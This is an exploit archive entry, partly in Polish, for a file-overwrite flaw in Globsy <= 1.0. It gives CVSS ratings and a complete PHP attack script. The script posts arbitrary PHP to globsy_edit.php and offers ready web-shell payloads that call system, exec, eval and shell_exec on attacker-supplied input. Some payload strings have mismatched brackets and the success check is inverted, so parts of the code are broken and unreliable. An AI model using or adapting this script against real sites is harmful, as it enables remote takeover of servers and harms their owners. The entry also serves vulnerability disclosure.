Globsy <= 1.0 Remote File Rewriting Exploit

2009.01.28
Credit: StAkeR
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

#!/usr/bin/php -q <?php /* ---------------------------------------------------------------------- Globsy <= 1.0 Remote File Rewriting Exploit Discovered By StAkeR aka athos - StAkeR[at]hotmail[dot]it Discovered On 12/10/2008 http://switch.dl.sourceforge.net/sourceforge/globsy/globsy_1.0.tar.gz ---------------------------------------------------------------------- globsy_edit.php 37. elseif($mode == "save"){ 38. $handle = fopen($filename, "w") or die("Write: The file <i>'".$filename."'</i> could not be opened."); 39. fwrite($handle, $data) or die("Write: The file <i>'".$filename."'</i> could not be writen."); $mode is $_POST['mode'] and $data = $_POST['data'] so you can rewrite (or create) any file */ error_reporting(0); ini_set("default_socket_timeout",5); $host = str_replace('http:\/\/',null,$argv[1]); $path = $argv[2]."/globsy_edit.php?file="; $file = $argv[3]; $exec = intval($argv[4]); if($exec == 8) { $input = stripslashes(trim(fgets(STDIN))); } else { $input = "Write your code\r\n"; } $array = array( 'include($_GET["input"]);', 'exec($_GET["input");', 'eval($_GET["input");', 'file_get_contents($_GET["input"]);', 'phpinfo();', 'system($_GET["input");', 'shell_exec($_GET["input");', 'echo $_GET["input");', $input ); if($argc != 5) { echo "[?] Globsy <= 1.0 Remote File Rewriting Exploit\r\n"; echo "[?] Usage: php $argv[0] [host] [path] [file] [option]\r\n\r\n"; echo "[?] Options: \r\n"; for($i=0;$i<=count($array)-1;$i++) { echo "-$i $array[$i]\r\n"; } return exit; } if(!$sock = fsockopen($host,80)) die("[?] Socket Error\r\n"); $path .= $file; $post .= "mode=save&data=<?php {$array[$exec]} ?>"; $data .= "POST /$path HTTP/1.1\r\n"; $data .= "Host: $host\r\n"; $data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n"; $data .= "Content-Type: application/x-www-form-urlencoded\r\n"; $data .= "Accept-Encoding: text/plain\r\n"; $data .= "Content-Length: ".strlen($post)."\r\n"; $data .= "Connection: close\r\n\r\n"; $data .= $post; if(!fputs($sock,$data)) die("[?] Fputs Error!\n"); while(!feof($sock)) { $content .= fgets($sock); } fclose($sock); if(!strpos('File data saved OK',$content)) { echo "[?] Exploit Successfully!\r\n"; echo "[?] $array[$exec] written in $file\r\n"; } else { echo "[?] Exploit Failed!\r\n"; exit; } ?>

Referencje:

http://www.securityfocus.com/bid/31727
http://www.milw0rm.com/exploits/6735


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